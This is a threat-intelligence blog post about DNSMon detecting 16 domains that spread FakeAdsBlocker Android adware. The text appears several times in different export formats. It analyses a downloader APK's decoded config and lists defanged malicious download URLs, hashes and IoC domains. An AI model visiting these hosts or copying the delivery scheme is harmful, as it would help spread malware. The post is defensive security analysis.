ssuminat.top expiresdate 2021-12-23 15:58:00
ssuminat.top status clientTransferProhibited
erefulpat.top createddate 2020-12-23 15:58:01
erefulpat.top updateddate 2021-01-06 10:37:24
erefulpat.top expiresdate 2021-12-23 15:58:01
erefulpat.top status clientTransferProhibited
...
</code></pre>
<!--kg-card-end: markdown--><p>Batch registration + new domain names + short registration validity period + privacy protection, malicious possibility +1.</p><h3 id="2-sandbox">2. Sandbox</h3><p>DNSMon's data on the sandbox focuses on the network behavior of the sample and extracts the relationship between the sample and the domain name visited, and then evaluates the score of the domain name in turn with the help of the sample's score. As can be seen from the correlation chart, the samples visiting the domains have malicious labels in the system (the samples are marked with "black dots" in the upper right corner).</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/02/corr_03-1.png" class="kg-image" alt loading="lazy"></figure><p>According to the label propagation algorithm, 16 domains were awarded with black possibility plus points.</p><p>In order to clarify the purpose of sample propagation, we conducted a simple reverse analysis of the sample.</p><h2 id="reverse-analysis">Reverse Analysis</h2><p>This article selects a sample named “<strong><em>Your File Is Ready To Download.apk</em></strong>” as the object of analysis, and its basic information is shown below.</p><!--kg-card-begin: markdown--><blockquote>
<p>MD5：230ca35f90c55bf9c46ddfb7980b632d<br>
File type：Android<br>
Magic：Zip archive data, at least v2.0 to extract<br>
File size：543671 bytes</p>
</blockquote>
<!--kg-card-end: markdown--><p>The sample <em><strong>Assets</strong></em> have a dat file that contains Base64 encoded configuration information.</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/02/ads_asset-1.png" class="kg-image" alt loading="lazy"></figure><p>And the content is </p><!--kg-card-begin: markdown--><pre><code>eyJjaWQiOiIxZGZiZTAzNS1kNzViLTQzYzgtYmMwMy1kYTg5YWU5NzU1ZjYiLCJ1cmxzIjpbImh0dHBzOi8vbGlzZXJzcmF0aC5mdW4iXSwiZm4iOiJZb3VyIEZpbGUgSXMgUmVhZHkgVG8gRG93bmxvYWQiLCJpbmZvIjoiYmxhbmtfIiwicm91dGVzIjp7Ing4NiI6Ii94ODYiLCJhcm02NC12OGEiOiIvYXJtNjQiLCJ4ODZfNjQiOiIveDY0IiwiYXJtZWFiaS12N2EiOiIvYXJtIn0sInVpZCI6Ijg4ODA5ODcwOTM1NTMzMTk3MiIsInNpZDEiOiI4ODgwOTg3MDkzNTUzMzE5NzIiLCJ0aWQiOiI3OTIyOTciLCJzaWQyIjoiIn0
</code></pre>
<!--kg-card-end: markdown--><p>After Base64 decoding, we get the following configuration information in json format, and we can see that the "urls" field contains the domain name we want to characterize.</p><!--kg-card-begin: markdown--><pre><code>{
"cid": "1dfbe035-d75b-43c8-bc03-da89ae9755f6",
"urls": [
"https[:]//lisersrath.fun"
],
"fn": "Your File Is Ready To Download",
"info": "blank_",
"routes": {
"x86": "/x86",
"arm64-v8a": "/arm64",
"x86_64": "/x64",
"armeabi-v7a": "/arm"
},
"uid": "888098709355331972",
"sid1": "888098709355331972",
"tid": "792297",
"sid2": ""
}
</code></pre>
<!--kg-card-end: markdown--><p>Download data from the domain stored in "urls" via the following code snippet.</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/02/ads_download-2.png" class="kg-image" alt loading="lazy"></figure><p>This process can generate the following URL.</p><!--kg-card-begin: markdown--><pre><code>lisersrath[.]fun/x86?v=0.0&l=6.9&p=Y29tLmludGVuc2l2ZS5zb3VuZA==
lisersrath[.]fun/x64?v=0.0&l=6.9&p=Y29tLmludGVuc2l2ZS5zb3VuZA==
lisersrath[.]fun/arm?v=0.0&l=6.9&p=Y29tLmludGVuc2l2ZS5zb3VuZA==
</code></pre>
<!--kg-card-end: markdown--><p>So what exactly is the download? Taking the x86 parameters as an example, the download gets a json file (f7e8f0aec32ceb27d5e202d4b2b50812), which has an apk field pointing to a new APK file (12098a59b35bcabb16bfeab887eb7f9f).</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/02/ads_json-1.png" class="kg-image" alt loading="lazy"></figure><p>After analysis, the new APK file belongs to the <strong><em>FakeAdsBlocker</em></strong> family, a covert adware program, which has a low detection rate of 4/64 in VT at the time of this writing.</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/02/ads_vt-1.png" class="kg-image" alt loading="lazy"></figure><p>In addition, we also found another URL.</p><!--kg-card-begin: markdown--><pre><code>lisersrath[.]fun:80/?cid=c423cdff-6c1b-4052-859f-11223c65f1ad&tid=827722&sid1=3182549073271873173&sid2=1868&fn=synapse_x_key&uid=3182549073271873173&lp=blank&tit=UGxlYXNlIHdhaXQgYSBmZXcgbWludXRlcyB3aGlsZSB5b3VyIGZpbGUgaXMgYmVpbmcgZG93bmxvYWRlZC4uLgo=
</code></pre>
<!--kg-card-end: markdown--><p>Accessing the above domain, for example, will download an APK named "synapse_x_key" (a384b97afd0f9432a71b27fa0ccd9667), which is homologous to the sample analyzed above.</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/02/ads_syna-1.png" class="kg-image" alt loading="lazy"></figure><p>The main function is to download and execute FakeAdsBlocker.</p><p>So far, the purpose of the dissemination of this batch of domain names is very clear, they are used to spread FakeAdsBlocker Downloader and FakeAdsBlocker.</p><h2 id="new-features">New features</h2><p>In the process of manually checking the URLs, we noticed a patternthat we had not seen before, that is, a string of identical URLs with randomly downloaded samples at different times, with different MD5 values for each sample file.</p><p>For example.</p><!--kg-card-begin: markdown--><pre><code>https[:]//lisersrath.fun/?cid=f0e87e37-1bc6-4073-af71-efcc4a3eca22&tid=792297&sid1=7253754382927895919&sid2=&fn=Your%20File%20Is%20Ready%20To%20Download&uid=7253754382927895919&lp=steps
</code></pre>
<!--kg-card-end: markdown--><p>Randomly downloaded 3 times, the file name is "Your File Is Ready To Download.apk", but the MD5 values are.</p><!--kg-card-begin: markdown--><pre><code>ab2f4fde57fdcb56bce5ffa48c4d9069
21c99e0a12a7ce9dc0d91df9e29af4ad
1e55fde5540147fbfac1c8060c449c58
</code></pre>
<!--kg-card-end: markdown--><p>Again, the author randomly picked another domain to test, same pattern</p><!--kg-card-begin: markdown--><pre><code>https[:]//holidano.top/?cid=a53fd199-f207-49dc-b5d7-aea0de14eee3&tid=899546&sid1=4009887093421271163&sid2=122_15319606&fn=MobileVPN&uid=4009887093421271163&lp=blank&tit=UGxlYXNlIHdhaXQgYSBmZXcgbWludXRlcyB3aGlsZSB5b3VyIGZpbGUgaXMgYmVpbmcgZG93bmxvYWRlZC4uLgo=
</code></pre>
<!--kg-card-end: markdown--><p>The file name "MobileVPN.apk", MD5 values are different.</p><!--kg-card-begin: markdown--><pre><code>a3ad2ba6caf05275545d65cb2e8990d4
f4316d300116fa9de72f6f0ed3d29c28
56396eae0bbafd82701399d717ff3708
</code></pre>
<!--kg-card-end: markdown--><p>Inspired by this, we extracted a new feature and searched the database with the new feature to find the data with the same feature in the history, such as the URL in the following figure.</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/02/06_url_md5-1.png" class="kg-image" alt loading="lazy"></figure><p>Subsequently, all eligible historical data are manually statistically analyzed to determine the size of the contribution value of the new features to the judgment of the black action, and finally decide whether to merge them into the DNSMon system. It can be said that the accumulation of features is extremely important for a massive data analysis and mining system like DNSMon. It is the system that has precipitated a lot of rules in more than 6 years since 2014 that makes it possible to extract threat intelligence (domain name IOC) from the daily hundreds of billions of DNS traffic and provide security defense to end users.</p><h2 id="conclusion">Conclusion</h2><p>Thanks to the fundamental nature of DNS, DNSMon has a broad view and can see security events occurring on Linux, Windows and Android platforms without discrimination. The main reason for this capability is that the system has accumulated a large number of security-related feature rules.</p><p>Readers should note that they should not easily imitate the process of judging the malicous in the article by themselves. Industrial IoC production includes not only the basic determination process, but also the complex processes of filtering, false alarm prevention, feedback correction, fail-safe, and automation. This article is written to facilitate the reader's understanding of the general principles of how DNSMon works, but the complexity of the various devilish details of the industrialized process is far beyond what can be described in the lines.</p><h2 id="ioc"><strong>IoC</strong></h2><!--kg-card-begin: markdown--><pre><code>ereusingl[.]fun
lisersrath[.]fun
predition[.]fun
ningspais[.]top
ssuminat[.]top
erefulpat[.]top
stirlinebea[.]top
utionstro[.]top
lesseased[.]top
thinkdisen[.]top
edcarefe[.]fun
holidano[.]top
ehousan[.]top
swoulder[.]fun
riemanufa[.]top
ntrealing[.]fun
</code></pre>
<!--kg-card-end: markdown--> | Background
This article is the third in our series of articles introducing DNSMon in the production of threat intelligence (Domain Name IoC).
As a basic core protocol of the Internet, DNS protocol is one of the cornerstones for the normal operation of the Internet.
DNSMon, which was born and raised on the foundation of DNS protocol, naturally has a broad vision and can be involved in security incidents that happen in different industries or different platforms. In our first two blog posts of DNSMon's series, the Skidmap mentioned in the first article was infected with cloud hosts on Linux platform; while the second article mentioned a set of domain names issued after the Windows platform of an Internet cafe was infected; this article is a case involving Android platform. We believe this is the beauty of using DNS data, no matter what platform the bad guys are using, the knowledge points or rules used by DNSMon do not fundamentally change.
Blocking the unknown threat
Recently, we noticed that DMSMon has marked a set of structurally similar domains and automatically blocked them starting from 2021-01-10.
Going into the system to check the collected information, we see that this is a set of malicious domains related to Android platform.
Expanding Similar Domains
Using the rdata and other data of the automatically blocked domains, we found that DNSMon actually warned of more than the 5 domains listed above, there are 16 domains in this category in total.
ereusingl[.]fun
lisersrath[.]fun
predition[.]fun
ningspais[.]top
ssuminat[.]top
erefulpat[.]top
stirlinebea[.]top
utionstro[.]top
lesseased[.]top
thinkdisen[.]top
edcarefe[.]fun
holidano[.]top
ehousan[.]top
swoulder[.]fun
riemanufa[.]top
ntrealing[.]fun
In terms of active time, these 16 domains are put into use sequentially and have a relatively intensive launch period in January 2021.
In the course of writing this article, we have seen other new similar domains captured by our system such as antdaugh[.] top, ngslalatfin[.] top, etc., but for the sake of consistency, these new domains will be omitted from this article.
Reasons for autoblocking
In the first article, we mentioned that
The core of DNSMon is to cross-compare the massive DNS data with the security-related data owned by 360 (including whois, web, sandbox, honeypot, certificate, etc.) and analyze it to derive the threat intelligence IOC.
In the following, we analyze the data features and annotate from the whois and sandbox obtained by the system. Of course, in addition to these data, DNSMon's autoblocking process also relies on other feature data, but we will not list them here.
1. whois
The 16 domain names were registered in two batches, one on 2020-11-06 and the other on 2020-12-23; the length of validity of the registration: one year, and the privacy protection was turned on.
ereusingl.fun createddate 2020-11-06 10:10:12
ereusingl.fun updateddate 2020-11-06 10:20:27
ereusingl.fun expiresdate 2021-11-06 23:59:59
ereusingl.fun status addPeriod | clientTransferProhibited | serverTransferProhibited
lisersrath.fun createddate 2020-11-06 10:10:12
lisersrath.fun updateddate 2020-11-06 10:20:20
lisersrath.fun expiresdate 2021-11-06 23:59:59
lisersrath.fun status addPeriod | clientTransferProhibited | serverTransferProhibited
predition.fun createddate 2020-11-06 10:09:51
predition.fun updateddate 2020-11-06 10:15:26
predition.fun expiresdate 2021-11-06 23:59:59
predition.fun status addPeriod | clientTransferProhibited | serverTransferProhibited
...
ningspais.top createddate 2020-12-23 15:57:59
ningspais.top updateddate 2021-01-06 10:37:20
ningspais.top expiresdate 2021-12-23 15:57:59
ningspais.top status clientTransferProhibited
ssuminat.top createddate 2020-12-23 15:58:00
ssuminat.top updateddate 2021-01-06 10:37:23
ssuminat.top expiresdate 2021-12-23 15:58:00
ssuminat.top status clientTransferProhibited
erefulpat.top createddate 2020-12-23 15:58:01
erefulpat.top updateddate 2021-01-06 10:37:24
erefulpat.top expiresdate 2021-12-23 15:58:01
erefulpat.top status clientTransferProhibited
...
Batch registration + new domain names + short registration validity period + privacy protection, malicious possibility +1.
2. Sandbox
DNSMon's data on the sandbox focuses on the network behavior of the sample and extracts the relationship between the sample and the domain name visited, and then evaluates the score of the domain name in turn with the help of the sample's score. As can be seen from the correlation chart, the samples visiting the domains have malicious labels in the system (the samples are marked with "black dots" in the upper right corner).
According to the label propagation algorithm, 16 domains were awarded with black possibility plus points.
In order to clarify the purpose of sample propagation, we conducted a simple reverse analysis of the sample.
Reverse Analysis
This article selects a sample named “Your File Is Ready To Download.apk” as the object of analysis, and its basic information is shown below.
MD5：230ca35f90c55bf9c46ddfb7980b632d
File type：Android
Magic：Zip archive data, at least v2.0 to extract
File size：543671 bytes
The sample Assets have a dat file that contains Base64 encoded configuration information.
And the content is
eyJjaWQiOiIxZGZiZTAzNS1kNzViLTQzYzgtYmMwMy1kYTg5YWU5NzU1ZjYiLCJ1cmxzIjpbImh0dHBzOi8vbGlzZXJzcmF0aC5mdW4iXSwiZm4iOiJZb3VyIEZpbGUgSXMgUmVhZHkgVG8gRG93bmxvYWQiLCJpbmZvIjoiYmxhbmtfIiwicm91dGVzIjp7Ing4NiI6Ii94ODYiLCJhcm02NC12OGEiOiIvYXJtNjQiLCJ4ODZfNjQiOiIveDY0IiwiYXJtZWFiaS12N2EiOiIvYXJtIn0sInVpZCI6Ijg4ODA5ODcwOTM1NTMzMTk3MiIsInNpZDEiOiI4ODgwOTg3MDkzNTUzMzE5NzIiLCJ0aWQiOiI3OTIyOTciLCJzaWQyIjoiIn0
After Base64 decoding, we get the following configuration information in json format, and we can see that the "urls" field contains the domain name we want to characterize.
{
"cid": "1dfbe035-d75b-43c8-bc03-da89ae9755f6",
"urls": [
"https[:]//lisersrath.fun"
],
"fn": "Your File Is Ready To Download",
"info": "blank_",
"routes": {
"x86": "/x86",
"arm64-v8a": "/arm64",
"x86_64": "/x64",
"armeabi-v7a": "/arm"
},
"uid": "888098709355331972",
"sid1": "888098709355331972",
"tid": "792297",
"sid2": ""
}
Download data from the domain stored in "urls" via the following code snippet.
This process can generate the following URL.
lisersrath[.]fun/x86?v=0.0&l=6.9&p=Y29tLmludGVuc2l2ZS5zb3VuZA==
lisersrath[.]fun/x64?v=0.0&l=6.9&p=Y29tLmludGVuc2l2ZS5zb3VuZA==
lisersrath[.]fun/arm?v=0.0&l=6.9&p=Y29tLmludGVuc2l2ZS5zb3VuZA==
So what exactly is the download? Taking the x86 parameters as an example, the download gets a json file (f7e8f0aec32ceb27d5e202d4b2b50812), which has an apk field pointing to a new APK file (12098a59b35bcabb16bfeab887eb7f9f).
After analysis, the new APK file belongs to the FakeAdsBlocker family, a covert adware program, which has a low detection rate of 4/64 in VT at the time of this writing.
In addition, we also found another URL.
lisersrath[.]fun:80/?cid=c423cdff-6c1b-4052-859f-11223c65f1ad&tid=827722&sid1=3182549073271873173&sid2=1868&fn=synapse_x_key&uid=3182549073271873173&lp=blank&tit=UGxlYXNlIHdhaXQgYSBmZXcgbWludXRlcyB3aGlsZSB5b3VyIGZpbGUgaXMgYmVpbmcgZG93bmxvYWRlZC4uLgo=
Accessing the above domain, for example, will download an APK named "synapse_x_key" (a384b97afd0f9432a71b27fa0ccd9667), which is homologous to the sample analyzed above.
The main function is to download and execute FakeAdsBlocker.
So far, the purpose of the dissemination of this batch of domain names is very clear, they are used to spread FakeAdsBlocker Downloader and FakeAdsBlocker.
New features
In the process of manually checking the URLs, we noticed a patternthat we had not seen before, that is, a string of identical URLs with randomly downloaded samples at different times, with different MD5 values for each sample file.
For example.
https[:]//lisersrath.fun/?cid=f0e87e37-1bc6-4073-af71-efcc4a3eca22&tid=792297&sid1=7253754382927895919&sid2=&fn=Your%20File%20Is%20Ready%20To%20Download&uid=7253754382927895919&lp=steps
Randomly downloaded 3 times, the file name is "Your File Is Ready To Download.apk", but the MD5 values are.
ab2f4fde57fdcb56bce5ffa48c4d9069
21c99e0a12a7ce9dc0d91df9e29af4ad
1e55fde5540147fbfac1c8060c449c58
Again, the author randomly picked another domain to test, same pattern
https[:]//holidano.top/?cid=a53fd199-f207-49dc-b5d7-aea0de14eee3&tid=899546&sid1=4009887093421271163&sid2=122_15319606&fn=MobileVPN&uid=4009887093421271163&lp=blank&tit=UGxlYXNlIHdhaXQgYSBmZXcgbWludXRlcyB3aGlsZSB5b3VyIGZpbGUgaXMgYmVpbmcgZG93bmxvYWRlZC4uLgo=
The file name "MobileVPN.apk", MD5 values are different.
a3ad2ba6caf05275545d65cb2e8990d4
f4316d300116fa9de72f6f0ed3d29c28
56396eae0bbafd82701399d717ff3708
Inspired by this, we extracted a new feature and searched the database with the new feature to find the data with the same feature in the history, such as the URL in the following figure.
Subsequently, all eligible historical data are manually statistically analyzed to determine the size of the contribution value of the new features to the judgment of the black action, and finally decide whether to merge them into the DNSMon system. It can be said that the accumulation of features is extremely important for a massive data analysis and mining system like DNSMon. It is the system that has precipitated a lot of rules in more than 6 years since 2014 that makes it possible to extract threat intelligence (domain name IOC) from the daily hundreds of billions of DNS traffic and provide security defense to end users.
Conclusion
Thanks to the fundamental nature of DNS, DNSMon has a broad view and can see security events occurring on Linux, Windows and Android platforms without discrimination. The main reason for this capability is that the system has accumulated a large number of security-related feature rules.
Readers should note that they should not easily imitate the process of judging the malicous in the article by themselves. Industrial IoC production includes not only the basic determination process, but also the complex processes of filtering, false alarm prevention, feedback correction, fail-safe, and automation. This article is written to facilitate the reader's understanding of the general principles of how DNSMon works, but the complexity of the various devilish details of the industrialized process is far beyond what can be described in the lines.
IoC
ereusingl[.]fun
lisersrath[.]fun
predition[.]fun
ningspais[.]top
ssuminat[.]top
erefulpat[.]top
stirlinebea[.]top
utionstro[.]top
lesseased[.]top
thinkdisen[.]top
edcarefe[.]fun
holidano[.]top
ehousan[.]top
swoulder[.]fun
riemanufa[.]top
ntrealing[.]fun
| {"version":"0.3.1","atoms":[],"cards":[["image",{"src":"__GHOST_URL__/content/images/2021/02/block_01-1.png"}],["markdown",{"markdown":"```\nereusingl[.]fun\nlisersrath[.]fun\npredition[.]fun\nningspais[.]top\nssuminat[.]top\nerefulpat[.]top\nstirlinebea[.]top\nutionstro[.]top\nlesseased[.]top\nthinkdisen[.]top\nedcarefe[.]fun\nholidano[.]top\nehousan[.]top\nswoulder[.]fun\nriemanufa[.]top\nntrealing[.]fun\n```"}],["image",{"src":"__GHOST_URL__/content/images/2021/02/sdanf_02-1.png"}],["markdown",{"markdown":"```\nereusingl.fun createddate 2020-11-06 10:10:12\nereusingl.fun updateddate 2020-11-06 10:20:27\nereusingl.fun expiresdate 2021-11-06 23:59:59\nereusingl.fun status addPeriod | clientTransferProhibited | serverTransferProhibited\nlisersrath.fun createddate 2020-11-06 10:10:12\nlisersrath.fun updateddate 2020-11-06 10:20:20\nlisersrath.fun expiresdate 2021-11-06 23:59:59\nlisersrath.fun status addPeriod | clientTransferProhibited | serverTransferProhibited\npredition.fun createddate 2020-11-06 10:09:51\npredition.fun updateddate 2020-11-06 10:15:26\npredition.fun expiresdate 2021-11-06 23:59:59\npredition.fun status addPeriod | clientTransferProhibited | serverTransferProhibited\n...\n\nningspais.top createddate 2020-12-23 15:57:59\nningspais.top updateddate 2021-01-06 10:37:20\nningspais.top expiresdate 2021-12-23 15:57:59\nningspais.top status clientTransferProhibited\nssuminat.top createddate 2020-12-23 15:58:00\nssuminat.top updateddate 2021-01-06 10:37:23\nssuminat.top expiresdate 2021-12-23 15:58:00\nssuminat.top status clientTransferProhibited\nerefulpat.top createddate 2020-12-23 15:58:01\nerefulpat.top updateddate 2021-01-06 10:37:24\nerefulpat.top expiresdate 2021-12-23 15:58:01\nerefulpat.top status clientTransferProhibited\n...\n```"}],["image",{"src":"__GHOST_URL__/content/images/2021/02/corr_03-1.png"}],["markdown",{"markdown":"> MD5：230ca35f90c55bf9c46ddfb7980b632d\n> File type：Android\n> Magic：Zip archive data, at least v2.0 to extract\n> File size：543671 bytes"}],["image",{"src":"__GHOST_URL__/content/images/2021/02/ads_asset-1.png"}],["markdown",{"markdown":"```\neyJjaWQiOiIxZGZiZTAzNS1kNzViLTQzYzgtYmMwMy1kYTg5YWU5NzU1ZjYiLCJ1cmxzIjpbImh0dHBzOi8vbGlzZXJzcmF0aC5mdW4iXSwiZm4iOiJZb3VyIEZpbGUgSXMgUmVhZHkgVG8gRG93bmxvYWQiLCJpbmZvIjoiYmxhbmtfIiwicm91dGVzIjp7Ing4NiI6Ii94ODYiLCJhcm02NC12OGEiOiIvYXJtNjQiLCJ4ODZfNjQiOiIveDY0IiwiYXJtZWFiaS12N2EiOiIvYXJtIn0sInVpZCI6Ijg4ODA5ODcwOTM1NTMzMTk3MiIsInNpZDEiOiI4ODgwOTg3MDkzNTUzMzE5NzIiLCJ0aWQiOiI3OTIyOTciLCJzaWQyIjoiIn0\n```"}],["markdown",{"markdown":"```\n{\n \"cid\": \"1dfbe035-d75b-43c8-bc03-da89ae9755f6\",\n \"urls\": [\n \"https[:]//lisersrath.fun\"\n ],\n \"fn\": \"Your File Is Ready To Download\",\n \"info\": \"blank_\",\n \"routes\": {\n \"x86\": \"/x86\",\n \"arm64-v8a\": \"/arm64\",\n \"x86_64\": \"/x64\",\n \"armeabi-v7a\": \"/arm\"\n },\n \"uid\": \"888098709355331972\",\n \"sid1\": \"888098709355331972\",\n \"tid\": \"792297\",\n \"sid2\": \"\"\n}\n```"}],["image",{"src":"__GHOST_URL__/content/images/2021/02/ads_download-2.png"}],["markdown",{"markdown":"```\nlisersrath[.]fun/x86?v=0.0&l=6.9&p=Y29tLmludGVuc2l2ZS5zb3VuZA==\nlisersrath[.]fun/x64?v=0.0&l=6.9&p=Y29tLmludGVuc2l2ZS5zb3VuZA==\nlisersrath[.]fun/arm?v=0.0&l=6.9&p=Y29tLmludGVuc2l2ZS5zb3VuZA==\n```"}],["image",{"src":"__GHOST_URL__/content/images/2021/02/ads_json-1.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/02/ads_vt-1.png"}],["markdown",{"markdown":"```\nlisersrath[.]fun:80/?cid=c423cdff-6c1b-4052-859f-11223c65f1ad&tid=827722&sid1=3182549073271873173&sid2=1868&fn=synapse_x_key&uid=3182549073271873173&lp=blank&tit=UGxlYXNlIHdhaXQgYSBmZXcgbWludXRlcyB3aGlsZSB5b3VyIGZpbGUgaXMgYmVpbmcgZG93bmxvYWRlZC4uLgo=\n```"}],["image",{"src":"__GHOST_URL__/content/images/2021/02/ads_syna-1.png"}],["markdown",{"markdown":"```\nhttps[:]//lisersrath.fun/?cid=f0e87e37-1bc6-4073-af71-efcc4a3eca22&tid=792297&sid1=7253754382927895919&sid2=&fn=Your%20File%20Is%20Ready%20To%20Download&uid=7253754382927895919&lp=steps\n```"}],["markdown",{"markdown":"```\nab2f4fde57fdcb56bce5ffa48c4d9069\n21c99e0a12a7ce9dc0d91df9e29af4ad \n1e55fde5540147fbfac1c8060c449c58\n```"}],["markdown",{"markdown":"```\nhttps[:]//holidano.top/?cid=a53fd199-f207-49dc-b5d7-aea0de14eee3&tid=899546&sid1=4009887093421271163&sid2=122_15319606&fn=MobileVPN&uid=4009887093421271163&lp=blank&tit=UGxlYXNlIHdhaXQgYSBmZXcgbWludXRlcyB3aGlsZSB5b3VyIGZpbGUgaXMgYmVpbmcgZG93bmxvYWRlZC4uLgo=\n```"}],["markdown",{"markdown":"```\na3ad2ba6caf05275545d65cb2e8990d4\nf4316d300116fa9de72f6f0ed3d29c28\n56396eae0bbafd82701399d717ff3708\n```"}],["image",{"src":"__GHOST_URL__/content/images/2021/02/06_url_md5-1.png"}],["markdown",{"markdown":"```\nereusingl[.]fun\nlisersrath[.]fun\npredition[.]fun\nningspais[.]top\nssuminat[.]top\nerefulpat[.]top\nstirlinebea[.]top\nutionstro[.]top\nlesseased[.]top\nthinkdisen[.]top\nedcarefe[.]fun\nholidano[.]top\nehousan[.]top\nswoulder[.]fun\nriemanufa[.]top\nntrealing[.]fun\n```"}]],"markups":[["a",["href","__GHOST_URL__/security-with-dns-data_en/"]],["a",["href","__GHOST_URL__/use-dns-data-produce-threat-intelligence-2/"]],["strong"],["em"]],"sections":[[1,"h2",[[0,[],0,"Background"]]],[1,"p",[[0,[],0,"This article is the third in our series of articles introducing DNSMon in the production of threat intelligence (Domain Name IoC)."]]],[1,"p",[[0,[],0,"As a basic core protocol of the Internet, DNS protocol is one of the cornerstones for the normal operation of the Internet."]]],[1,"p",[[0,[],0,"DNSMon, which was born and raised on the foundation of DNS protocol, naturally has a broad vision and can be involved in security incidents that happen in different industries or different platforms. In our first two blog posts of DNSMon's series, the Skidmap mentioned in "],[0,[0],1,"the first article"],[0,[],0," was infected with cloud hosts on Linux platform; while "],[0,[1],1,"the second article"],[0,[],0," mentioned a set of domain names issued after the Windows platform of an Internet cafe was infected; this article is a case involving Android platform. We believe this is the beauty of using DNS data, no matter what platform the bad guys are using, the knowledge points or rules used by DNSMon do not fundamentally change."]]],[1,"h2",[[0,[],0,"Blocking the unknown threat"]]],[1,"p",[[0,[],0,"Recently, we noticed that DMSMon has marked a set of structurally similar domains and automatically blocked them starting from 2021-01-10."]]],[10,0],[1,"p",[[0,[],0,"Going into the system to check the collected information, we see that this is a set of malicious domains related to Android platform."]]],[1,"h2",[[0,[],0,"Expanding Similar Domains"]]],[1,"p",[[0,[],0,"Using the rdata and other data of the automatically blocked domains, we found that DNSMon actually warned of more than the 5 domains listed above, there are 16 domains in this category in total."]]],[10,1],[1,"p",[[0,[],0,"In terms of active time, these 16 domains are put into use sequentially and have a relatively intensive launch period in January 2021."]]],[10,2],[1,"p",[[0,[],0,"In the course of writing this article, we have seen other new similar domains captured by our system such as antdaugh[.] top, ngslalatfin[.] top, etc., but for the sake of consistency, these new domains will be omitted from this article."]]],[1,"h2",[[0,[],0,"Reasons for autoblocking"]]],[1,"p",[[0,[],0,"In "],[0,[0],1,"the first article"],[0,[],0,", we mentioned that"]]],[1,"blockquote",[[0,[],0,"The core of DNSMon is to cross-compare the massive DNS data with the security-related data owned by 360 (including whois, web, sandbox, honeypot, certificate, etc.) and analyze it to derive the threat intelligence IOC."]]],[1,"p",[[0,[],0,"In the following, we analyze the data features and annotate from the whois and sandbox obtained by the system. Of course, in addition to these data, DNSMon's autoblocking process also relies on other feature data, but we will not list them here."]]],[1,"h3",[[0,[],0,"1. whois"]]],[1,"p",[[0,[],0,"The 16 domain names were registered in two batches, one on 2020-11-06 and the other on 2020-12-23; the length of validity of the registration: one year, and the privacy protection was turned on."]]],[10,3],[1,"p",[[0,[],0,"Batch registration + new domain names + short registration validity period + privacy protection, malicious possibility +1."]]],[1,"h3",[[0,[],0,"2. Sandbox"]]],[1,"p",[[0,[],0,"DNSMon's data on the sandbox focuses on the network behavior of the sample and extracts the relationship between the sample and the domain name visited, and then evaluates the score of the domain name in turn with the help of the sample's score. As can be seen from the correlation chart, the samples visiting the domains have malicious labels in the system (the samples are marked with \"black dots\" in the upper right corner)."]]],[10,4],[1,"p",[[0,[],0,"According to the label propagation algorithm, 16 domains were awarded with black possibility plus points."]]],[1,"p",[[0,[],0,"In order to clarify the purpose of sample propagation, we conducted a simple reverse analysis of the sample."]]],[1,"h2",[[0,[],0,"Reverse Analysis"]]],[1,"p",[[0,[],0,"This article selects a sample named “"],[0,[2,3],2,"Your File Is Ready To Download.apk"],[0,[],0,"” as the object of analysis, and its basic information is shown below."]]],[10,5],[1,"p",[[0,[],0,"The sample "],[0,[3,2],2,"Assets"],[0,[],0," have a dat file that contains Base64 encoded configuration information."]]],[10,6],[1,"p",[[0,[],0,"And the content is "]]],[10,7],[1,"p",[[0,[],0,"After Base64 decoding, we get the following configuration information in json format, and we can see that the \"urls\" field contains the domain name we want to characterize."]]],[10,8],[1,"p",[[0,[],0,"Download data from the domain stored in \"urls\" via the following code snippet."]]],[10,9],[1,"p",[[0,[],0,"This process can generate the following URL."]]],[10,10],[1,"p",[[0,[],0,"So what exactly is the download? Taking the x86 parameters as an example, the download gets a json file (f7e8f0aec32ceb27d5e202d4b2b50812), which has an apk field pointing to a new APK file (12098a59b35bcabb16bfeab887eb7f9f)."]]],[10,11],[1,"p",[[0,[],0,"After analysis, the new APK file belongs to the "],[0,[2,3],2,"FakeAdsBlocker"],[0,[],0," family, a covert adware program, which has a low detection rate of 4/64 in VT at the time of this writing."]]],[10,12],[1,"p",[[0,[],0,"In addition, we also found another URL."]]],[10,13],[1,"p",[[0,[],0,"Accessing the above domain, for example, will download an APK named \"synapse_x_key\" (a384b97afd0f9432a71b27fa0ccd9667), which is homologous to the sample analyzed above."]]],[10,14],[1,"p",[[0,[],0,"The main function is to download and execute FakeAdsBlocker."]]],[1,"p",[[0,[],0,"So far, the purpose of the dissemination of this batch of domain names is very clear, they are used to spread FakeAdsBlocker Downloader and FakeAdsBlocker."]]],[1,"h2",[[0,[],0,"New features"]]],[1,"p",[[0,[],0,"In the process of manually checking the URLs, we noticed a patternthat we had not seen before, that is, a string of identical URLs with randomly downloaded samples at different times, with different MD5 values for each sample file."]]],[1,"p",[[0,[],0,"For example."]]],[10,15],[1,"p",[[0,[],0,"Randomly downloaded 3 times, the file name is \"Your File Is Ready To Download.apk\", but the MD5 values are."]]],[10,16],[1,"p",[[0,[],0,"Again, the author randomly picked another domain to test, same pattern"]]],[10,17],[1,"p",[[0,[],0,"The file name \"MobileVPN.apk\", MD5 values are different."]]],[10,18],[1,"p",[[0,[],0,"Inspired by this, we extracted a new feature and searched the database with the new feature to find the data with the same feature in the history, such as the URL in the following figure."]]],[10,19],[1,"p",[[0,[],0,"Subsequently, all eligible historical data are manually statistically analyzed to determine the size of the contribution value of the new features to the judgment of the black action, and finally decide whether to merge them into the DNSMon system. It can be said that the accumulation of features is extremely important for a massive data analysis and mining system like DNSMon. It is the system that has precipitated a lot of rules in more than 6 years since 2014 that makes it possible to extract threat intelligence (domain name IOC) from the daily hundreds of billions of DNS traffic and provide security defense to end users."]]],[1,"h2",[[0,[],0,"Conclusion"]]],[1,"p",[[0,[],0,"Thanks to the fundamental nature of DNS, DNSMon has a broad view and can see security events occurring on Linux, Windows and Android platforms without discrimination. The main reason for this capability is that the system has accumulated a large number of security-related feature rules."]]],[1,"p",[[0,[],0,"Readers should note that they should not easily imitate the process of judging the 